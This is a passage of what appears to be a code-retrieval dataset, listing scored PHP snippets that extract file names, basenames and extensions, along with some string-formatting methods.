"59148614d6ee188ec8c47e8e566ec433", "score": "0.7652054", "text": "function x_file_name($path, &$ext=null, &$basename=null)\n{\n $ext = null;\n $basename = null;\n if (!($path = x_normalize_path($path))) {\n return null;\n }\n $basename = basename($path);\n if (!preg_match('/\\.[a-z0-9]{2,3}$/i', $basename)) {\n return $basename;\n }\n if (($c = count($arr = explode($s = '.', $basename))) < 2) {\n return $basename;\n }\n $ext = trim(end($arr));\n $arr = array_slice($arr, 0, $c - 1);\n\n return trim(implode($s, $arr));\n}", "title": "" }, { "docid": "318b102599fe957f6fb471f1ab7bf640", "score": "0.7649265", "text": "public function basename(){\n\t\treturn $this->info(PATHINFO_BASENAME);\n\t}", "title": "" }, { "docid": "073eab5177ca893113c53b5a496ac807", "score": "0.7626413", "text": "function get_extension($filename)\n {\n //Gets the basename and, if the filename is an url, removes query string\n // and fragments (#)\n $filename = parse_url(basename($filename), PHP_URL_PATH);\n\n //On Windows, finds the occurrence of the last slash\n $pos = strripos($filename, '\\\\');\n if ($pos !== false) {\n $filename = substr($filename, $pos + 1);\n }\n\n //Finds the occurrence of the first point. The offset is 1, so as to\n // preserve the hidden files\n $pos = strpos($filename, '.', 1);\n\n return $pos === false ? null : strtolower(substr($filename, $pos + 1));\n }", "title": "" }, { "docid": "cfb151300126ec45da99f80aad156c1f", "score": "0.7618448", "text": "private function _get_extension($file_name){\n $ext = explode('.', $file_name);\n $ext = array_pop($ext);\n return strtolower($ext);\n }", "title": "" }, { "docid": "ae436d0e822454c751015bfc13e39aed", "score": "0.76070046", "text": "function GetName($file)\n{\n if (!is_string($file))\n return false;\n $path = explode('/', $file);\n if (is_array($path))\n $file = $path[count($path) - 1];\n $new_name = substr($file, 0, strrpos($file, '.'));\n return $new_name;\n}", "title": "" }, { "docid": "95eefff9349db085b3146557e65dbfb9", "score": "0.75997794", "text": "function getExt($filename) {\n\treturn addslashes(trim(substr(strrchr($filename, '.'), 1, 10)));\n}", "title": "" }, { "docid": "4412391223b92bac058cc674f7f93080", "score": "0.7591963", "text": "function bf_basename( $url ) {\n\n\t\t$file_name = explode( '/', $url );\n\n\t\treturn end( $file_name );\n\t}", "title": "" }, { "docid": "14dade42710291ce5a84ca36d6264a8d", "score": "0.75663054", "text": "function getExtension($filename)\n{\n\t$f = strtolower($filename);\n\t$ext = substr(strrchr($f, '.'), 1);\n\treturn $ext;\n}", "title": "" }, { "docid": "10a3c210bb32baef99238c45d825f89c", "score": "0.7561437", "text": "public function getBaseName()\n\t\t{\n\n\t\t\t$exploded = explode(\"/\", $this->path);\n\t\t\t$file = end($exploded);\n\t\t\t$filename = explode('.', $file);\n\n\t\t\treturn ($filename[0]);\n\t\t}", "title": "" }, { "docid": "81d9a0dc9c630ffb4a69fda7576ab047", "score": "0.754609", "text": "function getBasename ($filename)\n {\n if (!$filename)\n v4b_exit (\"FileUtil::getBasename: filename is empty\");\n\n return basename ($filename);\n }", "title": "" }, { "docid": "245c5dc29beb2003d97beafec63c73aa", "score": "0.7524883", "text": "function basename ($path, $suffix = null) {}", "title": "" }, { "docid": "8cd1c0600edf92e0cbdbf378060b01f3", "score": "0.7496186", "text": "function getBasename();", "title": "" }, { "docid": "013ffba17c771da0912baf74f67a6b84", "score": "0.74859834", "text": "function bgl360_di_get_file_name($filePath) {\r\n // $path = \"/home/httpd/html/index.php\";\r\n $file = basename($filePath); // $file is set to \"index.php\"\r\n $file = basename($filePath, \".php\"); // $file is set to \"index\"\r\n return $file;\r\n}", "title": "" }, { "docid": "b20ef3273e6049b1f15d84eaf3ae7ced", "score": "0.7481702", "text": "function get_file_extension( $file ){\n\tif ( empty($file) )\n\t\treturn '';\n\n\t$filepath = explode( '/', $file );\n\t$filename = parse_arg( count($filepath)-1, $filepath );\n\n\t$the_file = explode( '.', $filename );\n\t$extension = parse_arg( count($the_file)-1, $the_file );\n\n\treturn strtolower($extension);\n}", "title": "" }, { "docid": "acabbcecc9eeef0c3e35e72675bb9d68", "score": "0.7473565", "text": "function get_extension($filename){\n\t\t$path_parts = pathinfo($filename);\n\t\t$path_parts[extension] = mb_strtolower($path_parts[extension]);\n\t\treturn $path_parts[extension];\n\t}", "title": "" }, { "docid": "3d972fc585fb34473c27d8468a5894f0", "score": "0.74718666", "text": "private function name ($file) {\n $info = pathinfo($file);\n return $info['basename'];\n }", "title": "" }, { "docid": "52946ea160d216dbdd2b9f7498eaedc7", "score": "0.7468892", "text": "function getImageFileName($filePath)\n{\n\t$fileName = strrchr($filePath, '/');\n\tif ( $fileName === false ) { return false; }\n\telse { return $rest = substr($fileName, 1, strlen($fileName)-1); }\n}", "title": "" }, { "docid": "7c2e60efc5d428af6b6592be2edc3133", "score": "0.746527", "text": "private function _get_extension($file_name){\n\t\t\t$ext = explode('.', $file_name);\n\t\t\t$ext = array_pop($ext);\n\t\t\treturn strtolower($ext);\n\t\t}", "title": "" }, { "docid": "2ef49e141d4c322266139c002967f96a", "score": "0.74641335", "text": "function GetFileNameNoExtension($fileName)\n{\n return strtok($fileName, \".\");\n}", "title": "" }, { "docid": "f123afa367ff7b8e8c8af4b448a732b2", "score": "0.7458398", "text": "protected function _getExtencion($file_name){\n $separado = explode(\".\", $file_name);\n return strtolower($separado[count($separado)-1]);\n }", "title": "" }, { "docid": "160f9fab19014e962332f58b4cae7008", "score": "0.7446067", "text": "function getExtension($filename) {\n $extension = pathinfo($filename, PATHINFO_EXTENSION);\n return strtolower($extension);\n}", "title": "" }, { "docid": "34114faadc6101710fcb5702c9fc939d", "score": "0.7411256", "text": "public function basename()\n {\n return pathinfo($this->name(), PATHINFO_FILENAME);\n }", "title": "" }, { "docid": "4ec4b222b962df27327c9af1e9a3427d", "score": "0.74081296", "text": "public function getBasename(): string {\n\t\t$parts = explode('.', $this->getName());\n\t\tarray_pop($parts);\n\t\treturn implode('.', $parts);\n\t}", "title": "" }, { "docid": "563222bbd11925539540eff4f769f0b3", "score": "0.7382782", "text": "function GetName($file)\r\n\t{\r\n\t\tif(!is_string($file))\r\n\t\t\treturn false;\r\n\t\t$path = explode('/',$file);\r\n\t\tif(is_array($path))\r\n\t\t\t$file = $path[count($path)-1];\r\n\t\t$new_name \t = substr($file, 0, strrpos($file, '.'));\r\n\t\treturn $new_name;\r\n\t}", "title": "" }, { "docid": "e5876481eef331325899fa67e7995453", "score": "0.7381898", "text": "public function getExtFromFilename()\n {\n $f = explode('.', $this->uploaded_file);\n array_filter($f);\n return end($f);\n }", "title": "" }, { "docid": "8d62f60faaba806ee57d6383c1503647", "score": "0.7378523", "text": "function GetExt($file){\r\n\t\treturn substr($file, strrpos($file,'.') + 1);\r\n\t}", "title": "" }, { "docid": "69aae4527208b368e13aa5c47e76c292", "score": "0.7378091", "text": "function getFileExtension($str) {\r\n\r\n $i = strrpos($str,\".\");\r\n echo $i;\r\n if (!$i) { return \"\"; }\r\n\r\n $l = strlen($str) - $i;\r\n $ext = substr($str,$i+1,$l);\r\n\r\n return $ext;\r\n\r\n }", "title": "" }, { "docid": "ee5fb2bbe8faecfbc953f85c8b183e39", "score": "0.73739195", "text": "protected function get_basename() {\n\t\treturn basename($this->get_request()['name']);\n\t}", "title": "" }, { "docid": "93489cf721f329087cf9a4662cdd9d6c", "score": "0.7359382", "text": "private function fetchName(string $filename): string\n {\n if (empty($this->extension)) {\n return $filename;\n }\n\n return substr($filename, 0, -1 * (1 + strlen($this->extension)));\n }", "title": "" }, { "docid": "034ee974953237e1c306f21fe0f91d12", "score": "0.73563343", "text": "function getExtension ($fileName)\n\t{\n\t\t$ext = explode (\".\", $fileName);\n\t\t$forLast = (count($ext)-1);\n\t\treturn $ext[$forLast];\n\t}", "title": "" }, { "docid": "4c26f7f61f9855f68f6ec7b9e3ec2199", "score": "0.73478353", "text": "function getFileExtension($filename)\n {\n $fileNameArray = (explode('.', $filename));\n $extension = end($fileNameArray);\n return $extension;\n }", "title": "" }, { "docid": "5df29ed60b6fb64df46c3066edfc5323", "score": "0.73397994", "text": "function getExtension($file){\n\t\t $parts = explode('.', basename($file));\n\t\t\treturn array_pop($parts);\n\t\t}", "title": "" }, { "docid": "97203c33e499d0a4cde7572b95b8d228", "score": "0.73083717", "text": "protected function getBasename(): string\n {\n return pathinfo($this->getFilename(), PATHINFO_FILENAME);\n }", "title": "" }, { "docid": "833ae4f74627ac01e6e84251696bba1a", "score": "0.73079336", "text": "function file_name($key) {\r\n\t$key=strrev(substr(strstr(strrev($key), \".\"), 1));\r\n\treturn($key);\r\n}", "title": "" }, { "docid": "958bc02f852a75102dd9a63cd30f5a9c", "score": "0.7301797", "text": "function getFileExtension($filename)\n {\n $path_info = pathinfo($filename);\n return $path_info['extension'];\n }", "title": "" }, { "docid": "c2fed4837f3a99dcf7e747b761b4ed69", "score": "0.7298195", "text": "public function GetFileNameWithoutExtension(){\n\t\t$fname = explode('.', $this->filename);\n\t\tarray_pop($fname);\n\t\treturn implode('.', $fname);\n\t}", "title": "" }, { "docid": "64817b46361f4baf90f9db12f35d4fb1", "score": "0.72858846", "text": "private function getExtension(){\n\n $ext=explode(\".\",$this->getAbsFile());\n $ext=end($ext);\n return $ext;\n \n }", "title": "" }, { "docid": "fe57bcff42fbe4eea8c3709e880a327d", "score": "0.72710615", "text": "function getExtension($str) { \n\t$i = strrpos($str,\".\"); \n\tif (!$i) { return \"\"; } \n\t$l = strlen($str) - $i; \n\t$ext = substr($str,$i+1,$l); \n\treturn $ext; \n}", "title": "" }, { "docid": "7fd09c73895dd116c6b55dfb0bd25513", "score": "0.725461", "text": "public function getBaseName(): string;", "title": "" }, { "docid": "e313a995af1c73d4acac9e8adc3832f0", "score": "0.7253936", "text": "function _getFileExtension($str)\n {\n $i = strrpos($str,\".\");\n if (!$i) { return \"\"; }\n $l = strlen($str) - $i;\n $ext = substr($str,$i+1,$l);\n return $ext;\n }", "title": "" }, { "docid": "f89d72c098da3ed00593b80320259eec", "score": "0.72482765", "text": "public function getFileBaseName() {\n return $this->_basename;\n }", "title": "" }, { "docid": "b6d5839fac677a28dc9efc2df72d3d1c", "score": "0.72402334", "text": "function _ext($file) {\n\t\t$ext = substr ($file, strrpos($file,'.'));\n\t\treturn $ext;\n\t}", "title": "" }, { "docid": "a252d620f1bd232213ed46fbcd69aa80", "score": "0.7238469", "text": "function getExtension($str)\n{\n $i = strrpos($str,\".\");\n if (!$i) { return \"\"; }\n $l = strlen($str) - $i;\n $ext = substr($str,$i+1,$l);\n return $ext;\n}", "title": "" }, { "docid": "d758d4e8b2659067e387ec5fb3700ac4", "score": "0.7236883", "text": "function getExt($s_imgname=''){\n $m_det_ = explode(\".\", $s_imgname);\n return $m_det_[count($m_det_)-1];\n}", "title": "" }, { "docid": "ed362e5f60da7fcdb912bb74bd481242", "score": "0.72262096", "text": "public function getBaseName(): ?string {\r\n return pathinfo($this -> file, PATHINFO_BASENAME);\r\n }", "title": "" }, { "docid": "3cf2e1bdda2c971684779c059f0238ca", "score": "0.7207596", "text": "static function getExt($filename) { \n\t\t$ext = pathinfo($filename, PATHINFO_EXTENSION);\n\t\treturn $ext; \n\t}", "title": "" }, { "docid": "bd911bca6aa44fd5d709b89cf9c3b367", "score": "0.7207086", "text": "public function getExtension($file_name)\n {\n $temp = explode ( '.', $file_name);\n return $temp[count($temp)-1];\n }", "title": "" }, { "docid": "f513bdb821279136feca7d02c74cf5b0", "score": "0.71982753", "text": "function file_get_current_file_name_without_path_and_extension() {\r\n $arr = explode(\"/\", __FILE__);\r\n $file_name = $arr[sizeof($arr) - 1];\r\n return substr($file_name, 0, strlen($file_name) - 4);\r\n}", "title": "" }, { "docid": "bc677de1f7574096de178307796f0dca", "score": "0.7191216", "text": "static function getExtension($str) \n { \n $i = strrpos($str,\".\");\n \n if (!$i) \n { \n return \"\"; \n } \n $l = strlen($str) - $i; \n $ext = substr($str,$i+1,$l);\n return $ext; \n }", "title": "" }, { "docid": "eeaf8ac31314793a0acd70f9f52f0b78", "score": "0.7191194", "text": "public function getExt()\n\t{\n\t\t$sRet\t\t= \"\";\n\t\t$sFileName\t= $this->getName();\n\t\tif ( ! empty( $sFileName ) )\n\t\t{\n\t\t\t$pDot = strrchr( $sFileName, '.' );\n\t\t\tif ( ! empty( $pDot ) )\n\t\t\t{\n\t\t\t\t$sRet = strtolower( substr( $pDot, 1 ) );\n\t\t\t}\n\t\t}\n\n\t\treturn $sRet;\n\t}", "title": "" }, { "docid": "e66d8ec8632fbcfb68b7702bd17466aa", "score": "0.7187358", "text": "function fetch_file_extension($filepath)\n{\n preg_match('/[^?]*/', $filepath, $matches);\n $string = $matches[0];\n\n $pattern = preg_split('/\\./', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);\n\n # check if there is any extension\n if (count($pattern) == 1)\n {\n // no file extension found\n return;\n }\n\n if (count($pattern) > 1)\n {\n $filenamepart = $pattern[count($pattern) - 1][0];\n preg_match('/[^?]*/', $filenamepart, $matches);\n return $matches[0];\n }\n}", "title": "" }, { "docid": "9bc5ed8f1e9ea85e238c5fc651745561", "score": "0.7186129", "text": "protected function _build__basename() {\n return basename( $this->_file_src );\n }", "title": "" }, { "docid": "34215eb09b5a1f3b13f06657fc7aa85c", "score": "0.7180773", "text": "function getFilebase ($filename, $keepDot=false)\n {\n if (!$filename)\n v4b_exit (\"FileUtil::getFilename: filename is empty\");\n\n $base = basename ($filename);\n $p = strrpos ($base, '.');\n if ($p !== false)\n if ($keepDot)\n return substr($base, 0, $p);\n else\n return substr($base, 0, $p-1);\n\n return $filename;\n }", "title": "" }, { "docid": "5280f1dcfeb1745c26cf99abeea1106f", "score": "0.717513", "text": "function extractfilename ($request) {\n $url = parse_url($request);\n $path = $url['path'];\n $fragments = explode (\"/\", $path);\n $i = 0;\n while (isset($fragments[$i])) {\n $filename = $fragments[$i];\n $i += 1;\n }\n return $filename;\n}", "title": "" }, { "docid": "abcc2a5a59aa99a4f8d91f2fc0416565", "score": "0.7175041", "text": "function ext($filename, $delimter = '.')\n{\n\t\t// return null;\n\t$parts = explode($delimter, $filename);\n\treturn array_pop($parts);\n}", "title": "" }, { "docid": "c0e2bd20806a31f21b035cfcdb5b4750", "score": "0.7173621", "text": "function getExtension($str) {\n $i = strrpos($str,\".\");\n if (!$i) { return \"\"; }\n $l = strlen($str) - $i;\n $ext = substr($str,$i+1,$l);\n return $ext;\n }", "title": "" }, { "docid": "2d70538fe933ff15d48c101f4603b70e", "score": "0.7173466", "text": "private function getFileNamewithoutExtension($originalFileName, $extensionFileName) \n { \n return substr($originalFileName, 0, strlen($originalFileName) - (strlen($extensionFileName) + 1)); \n }", "title": "" }, { "docid": "c613d3c89b5ab9b16d7f422335b7e645", "score": "0.7171451", "text": "public static function filename(string $path) : string\n\t{\n\t\t$basename = basename($path);\n\n\t\t// use ! to match '0' and 'false' to return the full name for both dot-files and files without an extension.\n\t\treturn ! strpos($basename, '.') ? $basename : strstr($basename, '.', true);\n\t}", "title": "" }, { "docid": "de2950a67f4a919b5ded5e43b4c191ae", "score": "0.7158995", "text": "function get_file_extension($filename) {\n\treturn pathinfo($filename, PATHINFO_EXTENSION);\n}", "title": "" }, { "docid": "a79c6ea65daa311b1af3d3ed21ad8fb7", "score": "0.71568227", "text": "function getFileExt($doc_name,$outputDotIfExists=false) \r\n{\r\n\t$dotpos = strrpos($doc_name, \".\");\r\n\tif ($dotpos === false) return \"\";\r\n\treturn substr($doc_name, $dotpos + ($outputDotIfExists ? 0 : 1), strlen($doc_name));\r\n}", "title": "" }, { "docid": "88911f90532fc00c811cdae4b3008bd8", "score": "0.7122108", "text": "function extension(string $filename) {\n return pathinfo($filename,PATHINFO_EXTENSION);\n}", "title": "" }, { "docid": "e397b930d5644117b983b909f3e51fd2", "score": "0.7100416", "text": "function get_extension($file) {\n\t\t$exp_file = explode('.',$file);\n\t\t$elements = sizeof($exp_file)-1;\n\t\t$ext = strtolower($exp_file[$elements]);\n\t\treturn strtolower($ext);\n\t}", "title": "" }, { "docid": "5fdc427416234765b2955dd847d7f1dd", "score": "0.7088538", "text": "function getExtension($file)\n{\n return pathinfo($file, PATHINFO_EXTENSION);\n}", "title": "" }, { "docid": "a56e0a24fa588237b73bf931d750b961", "score": "0.70782894", "text": "function getExtension($str){\n\t$i = strrpos($str,\".\");\n\t//if no dot return nothing\n\tif (!$i) {return \"\"; }\n\t//whats the extension based on length of string\n\t$l =strlen($str) - $i;\n\t//get extension using substring\n\t$ext =substr($str,$i+1,$l);\n\t//return extension\n\treturn $ext;\n}", "title": "" }, { "docid": "c74d54f8d1350d0a98eda0998b5a6e90", "score": "0.7072056", "text": "function getExtension($str) {\n\t$i = strrpos($str,\".\");\n\tif (!$i) { return \"\"; }\n\t$l = strlen($str) - $i;\n\t$ext = substr($str,$i+1,$l);\n\treturn $ext;\n}", "title": "" }, { "docid": "7c71a6e713e2de82cecf5d551ed9510a", "score": "0.70707345", "text": "function getExtension ($filename, $keepDot=false)\n {\n if (!$filename)\n v4b_exit (\"FileUtil::getExtension: filename is empty\");\n\n $p = strrchr ($filename, '.');\n if ($p !== false)\n if ($keepDot)\n return substr($p, 0);\n else\n return substr($p, 1);\n\n return '';\n }", "title": "" }, { "docid": "fd4cec10de28ed1b691a62adbe07b1b3", "score": "0.70687175", "text": "function strip_out_filename( $file) {\n\t\t $filename = substr( $file, strrpos( $file, '/' )+1,strlen( $file ) - \n\t\t strrpos( $file, '/' ) );\n\t\t return $filename;\n\t\t}", "title": "" }, { "docid": "226325968fceaf6541be3048fe7ba96b", "score": "0.7063661", "text": "function basename( $path, $suffix = '' ) {\n\t// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.urlencode_urlencode -- Format required by wordpress.org API.\n\treturn urldecode( \\basename( str_replace( [ '%2F', '%5C' ], '/', urlencode( $path ) ), $suffix ) );\n}", "title": "" }, { "docid": "7f0133aa6c8a12b5ae88a69ea21e1955", "score": "0.70418555", "text": "function getExtension($str)\n {\n $i = strrpos($str,\".\");\n if (!$i)\n {\n return \"\";\n }\n $len = strlen($str) - $i;\n $ext = substr($str,$i+1,$len);\n return $ext;\n }", "title": "" }, { "docid": "10c54b73ff3712c1c5a768f3710fea42", "score": "0.704095", "text": "function filenameWithoutExtension(string $filename)\n {\n return $filename ? pathinfo($filename, PATHINFO_FILENAME) : null;\n }", "title": "" }, { "docid": "61b4f898b54c0027baa8f157d07aabfa", "score": "0.70408124", "text": "function getExtension($str) {\r\n $i = strrpos($str,\".\");\r\n if (!$i) { return \"\"; }\r\n $l = strlen($str) - $i;\r\n $ext = substr($str,$i+1,$l);\r\n return $ext;\r\n }", "title": "" }, { "docid": "d0dd67606d84fdddb132e6ee6408cd06", "score": "0.70395744", "text": "function _get_file_extension($file)\n\t{\n\t\treturn strtolower( str_replace( \".\", \"\", substr( $file, strrpos( $file, '.' ) ) ) );\n\t}", "title": "" }, { "docid": "c83edfe9b16ec04f9fee995c46db2a69", "score": "0.70290285", "text": "public static function getBasename($file)\n {\n return pathinfo($file, PATHINFO_BASENAME);\n }", "title": "" }, { "docid": "e6347748b28d60e42cc0621efa17d08b", "score": "0.7026917", "text": "protected function file_ext($filename) {\n\n if (!preg_match('/\\./', $filename)) {\n return '';\n }\n\n return preg_replace('/^.*\\./', '', $filename);\n\n }", "title": "" }, { "docid": "812551e75f2e547ffe4d63fdc117f682", "score": "0.69820666", "text": "final public function getBasename()\n {\n return $this->file->getBasename();\n }", "title": "" }, { "docid": "2fb08b91683a1a0a519b9d6892d6ae04", "score": "0.69819367", "text": "public static function filename($file)\n {\n return pathinfo($file, PATHINFO_FILENAME);\n }", "title": "" }, { "docid": "af2b0f742cc12a3f58170eaee321fee0", "score": "0.6980535", "text": "function getFileExtension($filename)\n {\n list ($base, $extension) = MyOOS_Utilities::getFileNameComponents($filename);\n return $extension;\n }", "title": "" } ]
f502a0eaaa446c6effd45a050c6a951f
Convert to string (using default format)
[ { "docid": "766f2bc11b8c6f5e8f17cae884ee344e", "score": "0.7463281", "text": "public function __toString()\n {\n return (string) $this->format( $this->defaultFormat );\n }", "title": "" } ]
[ { "docid": "57b7d8b9d9e7d5d20cd6e1ea05621842", "score": "0.7591308", "text": "abstract public function formatToString();", "title": "" }, { "docid": "27d2dc82d492c733b6dc911198600575", "score": "0.6984401", "text": "public function __toString(): string {\n if ($this->isNegative()) {\n $format = '-P';\n } else {\n $format = 'P';\n }\n if ($this->y > 0) {\n $format .= $this->y . 'Y';\n }\n if ($this->m > 0) {\n $format .= $this->m . 'M';\n }\n if ($this->d > 0) {\n $format .= $this->d . 'D';\n }\n $time = '';\n if ($this->h > 0) {\n $time .= $this->h . 'H';\n }\n if ($this->i > 0) {\n $time .= $this->i . 'M';\n }\n if ($this->s > 0) {\n $time .= $this->s . 'S';\n }\n if ($time !== '') {\n $format .= \"T$time\";\n }\n return $format;\n }", "title": "" }, { "docid": "ce3b893addb0789bd50ddb234a59e669", "score": "0.6878011", "text": "public function to_string()\n\t{\n\t\tif ($this->tipo == LT_FECHA_T) $tmps = sprintf(\"%02d/%02d/%04d\", $this->d, $this->m, $this->a);\n\t\tif ($this->tipo == LT_FECHAHORA_T) $tmps = sprintf(\"%02d/%02d/%04d %02d:%02d:%02d\", \n\t\t\t\t$this->d, $this->m, $this->a, $this->hora, $this->min, $this->seg);\n\t\tif ($this->tipo == LT_HORA_T) $tmps = sprintf(\"%02d:%02d:%02d\", $this->hora, $this->min, $this->seg);\n\t\treturn $tmps;\n\t}", "title": "" }, { "docid": "b549aa1e79b3f59a3ed48620e9c415c3", "score": "0.6806212", "text": "public function format();", "title": "" }, { "docid": "6a1f5447267b3e81b8c7aec49308fef8", "score": "0.6796577", "text": "abstract function format();", "title": "" }, { "docid": "9283057c13c02b2d916d1cc3f608c28e", "score": "0.6661535", "text": "function getFormat() {\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "9283057c13c02b2d916d1cc3f608c28e", "score": "0.6661535", "text": "function getFormat() {\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "02ea1a04420bf4fb9e97149875b05f95", "score": "0.66063344", "text": "public function asString();", "title": "" }, { "docid": "dfbff2918a16cbc2d7446c224f2c9f18", "score": "0.65369534", "text": "public function __toString() : string\n {\n return $this->format($this->dateFormat);\n }", "title": "" }, { "docid": "cc93754552bf372d4bb719ff05d561de", "score": "0.652252", "text": "public function toString(): string\n {\n $decimalPart = $this->decimalPart !== '' ? '.' . $this->decimalPart : '';\n\n return ($this->negative ? '-' : '') . $this->integerPart . $decimalPart;\n }", "title": "" }, { "docid": "8b88cd5827fd75581257d553ac702f83", "score": "0.6487868", "text": "public function __toString()\n {\n return substr_replace(str_pad(strval($this->value()), 4, '0', STR_PAD_RIGHT), '.', -2, 0);\n }", "title": "" }, { "docid": "a58807d0a3c7bec431420cb0b2b764e3", "score": "0.6486952", "text": "public function __toString()\n\t{\n\t\treturn $this->format();\n\t}", "title": "" }, { "docid": "38d775e4741d11566f58c13ca6ce53d8", "score": "0.6458638", "text": "public function __toString(): string\n {\n return $this->getDefaultDate();\n }", "title": "" }, { "docid": "784fad56f5bebb2835b3c55e5ee8d6c4", "score": "0.6449824", "text": "public function toStr()\r\n\t{\r\n\t\treturn ''.':'.$this->id.':'.$this->phase.':'.$this->paymoney.':'.$this->ksxing.':'.$this->ksming.':'.$this->kspxing.':'.$this->kspming.':'.$this->ksxb.':'.$this->year.':'.$this->month.':'.$this->day.':'.$this->ksidtype.':'.$this->ksidno.':'.$this->kspwd.':'.$this->ksremind.':'.$this->ksremindanswer.':'.$this->userqh.':'.$this->usertel.':'.$this->kstel.':'.$this->ksmobile.':'.$this->ksemail.':'.$this->wishjb.':'.$this->wishprovince.':'.$this->wishcity1.':'.$this->wishcity2.':'.$this->wishcity3.':'.$this->tiaoji.':'.$this->ksqq.':'.$this->ksimgsrc.':'.$this->pwd;\r\n\t}", "title": "" }, { "docid": "8bfe46e1229ca844df72a62dba4594e7", "score": "0.64310634", "text": "public function __toString() {\n return $this->format(self::FORMAT);\n }", "title": "" }, { "docid": "2982c3630fd1b8f0ce5372f51360bad3", "score": "0.64114016", "text": "public function toRFC2822String()\n {\n return $this->format('r');\n }", "title": "" }, { "docid": "045f79febe4d638a8342434e6b49defc", "score": "0.64037985", "text": "public static function format(string $data) : string;", "title": "" }, { "docid": "90def072b71d019d3d5e32b7dc8767c8", "score": "0.64005363", "text": "public function to_string() {\n\n\t\treturn sprintf( '%s to %s', $this->date, $this->to->date );\n\t}", "title": "" }, { "docid": "722c269dd52773bebf3847760064d14c", "score": "0.6367162", "text": "public function __toString()\n {\n return $this->format();\n }", "title": "" }, { "docid": "722c269dd52773bebf3847760064d14c", "score": "0.6367162", "text": "public function __toString()\n {\n return $this->format();\n }", "title": "" }, { "docid": "fd86f90f679650764f1a8de06e21bf69", "score": "0.63651776", "text": "public function __toString()\n {\n return (string) $this->exportTo(RCulturesPeer::DEFAULT_STRING_FORMAT);\n }", "title": "" }, { "docid": "87cc9869a470bf15d25b6e7965e7442d", "score": "0.63351655", "text": "private function format($value)\n {\n if ($value) {\n return (string) $value;\n }\n\n return $value;\n }", "title": "" }, { "docid": "27564b28889e1f968eb719f85e7d24d1", "score": "0.63321465", "text": "public function __toString() {\n\t\t$f = $this->value;\n\t\t\n\t\tif( is_nan($f) )\n\t\t\treturn \"NAN\";\n\n\t\tif( is_infinite($f) ){\n\t\t\tif( $f > 0.0 )\n\t\t\t\treturn \"INF\";\n\t\t\telse\n\t\t\t\treturn \"-INF\";\n\t\t}\n\n\t\t$old_precision = ini_set(\"serialize_precision\", \"16\");\n\t\t$s = serialize($f);\n\t\tini_set(\"serialize_precision\", $old_precision);\n\t\t$s = substr($s, 2, strlen($s) - 3);\n\n\t\tif( strstr($s, \".\") === FALSE and strstr($s, \"e\") === FALSE )\n\t\t\t# \"float\" must have at least either a \".\" or a \"e\", otherwise\n\t\t\t# 1.0 becomes \"1\" which looks like a int rather than \"float\".\n\t\t\treturn \"$s.0\";\n\t\telse\n\t\t\treturn $s;\n\t}", "title": "" }, { "docid": "0877b4e5cdb0959b3079111774fae966", "score": "0.63002217", "text": "public function to_s(): string\n {\n $func = 'build_' . strtolower($this->operation);\n\n return $this->$func();\n }", "title": "" }, { "docid": "1d5942ea5bda37a772b8dbf73db83876", "score": "0.6290868", "text": "public function toString($data)\n {\n if ($this->nullOption !== null\n && $this->isNull($data)\n ) {\n return $this->nullOption;\n }\n\n return date(DDate::getDateTimeFormat(), $data);\n }", "title": "" }, { "docid": "2bc38f83819f3e61b68edc3fbfe76089", "score": "0.6290093", "text": "public function getDefaultFormat();", "title": "" }, { "docid": "8545d7ca09eef98e08bbad220722a259", "score": "0.62604344", "text": "public function __toString()\n {\n $output = $this->getSign() . $this->getIntegerPart();\n\n $fractionalPart = $this->getFractionalPart();\n\n if ('0' !== $fractionalPart) {\n $output .= '.' . $fractionalPart;\n }\n\n return $output;\n }", "title": "" }, { "docid": "027ee2ff976689bc66ef1392bbcbad58", "score": "0.6258526", "text": "function format($value) {\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "252e3d1ca75605c330e478cea8806946", "score": "0.6249293", "text": "public function printAsString()\n {\n return $this->printFrom() .\n $this->printType() .\n $this->printTravelNumber() .\n $this->printTo() . '.' .\n $this->printGate() .\n $this->printSeat() . '.' .\n $this->printBaggage() . '.';\n }", "title": "" }, { "docid": "a935eed106a2c663198029e4dbb8644d", "score": "0.623773", "text": "public function toStringWithPrecision(): string\n {\n $decimalPart = $this->decimalPart !== '' ? '.' . str_pad($this->decimalPart, $this->precision, '0') : '';\n\n return ($this->negative ? '-' : '') . $this->integerPart . $decimalPart;\n }", "title": "" }, { "docid": "d1a3e4d5b0b8b3a32c311dc47c477445", "score": "0.6211147", "text": "function __toString() {\n\t\treturn $this -> format( Config::instance() -> get( 'format_date' ) );\n\t}", "title": "" }, { "docid": "5cd6e73385965a42987cc328b46ca3bd", "score": "0.6204661", "text": "public function __toString(): string\n {\n return sprintf('%02u-%02u', $this->year, $this->month);\n }", "title": "" }, { "docid": "0a415cbe0f27b458a5633c3c29463441", "score": "0.6136591", "text": "public function getDefaultStringFormat()\n {\n return $this->defaultStringFormat;\n }", "title": "" }, { "docid": "d2b20120507ca90f535a4d11db5ba3be", "score": "0.6121259", "text": "public static function toString($value)\n {\n if ($value instanceof \\DateTime) { // datetime in ISO8601 format\n return $value->format(\\DateTime::ATOM);\n } else {\n return $value;\n }\n }", "title": "" }, { "docid": "a64934b5a26a3b0d3054dfc76fa0f4c6", "score": "0.61042666", "text": "public function getFormat(): string\n {\n return $this->sFormat;\n }", "title": "" }, { "docid": "2003743926ef3ece781463abb18311b1", "score": "0.6103219", "text": "public function as_string($currency = NULL)\n\t{\n\t\treturn number_format($this->in($currency), 2, '.', '');\t\n\t}", "title": "" }, { "docid": "5b2244bece9f59e86394efd8ac021bd1", "score": "0.60885376", "text": "function toString($elem){\n\t\t$string = '';\n\n\t\tswitch(true){\n\t\t\tcase ($elem instanceof DateTime) :\t$string = $elem->format(\"Y-m-d\");\n\t\t\t\t\t\t\t\tbreak;\n\t\t\tcase is_string($elem):\t\t$string = $elem;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\tcase is_integer($elem):\t\t$string = strval($elem);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\tcase is_null($elem):\n\t\t\tdefault: break;\n\t\t}\n\n\t\treturn $string;\n\t}", "title": "" }, { "docid": "5d9e351c9de20a89e1c6b7c90bf6cfc4", "score": "0.6085246", "text": "public function __toString(): string\n {\n return sprintf('%s: %s (%s)', $this->countryCode, $this->countryName, $this->dialingCode);\n }", "title": "" }, { "docid": "75f95d859d24431646ebb53bf08ff51a", "score": "0.6084432", "text": "public function __toString()\n\t{\n\t\treturn (string) 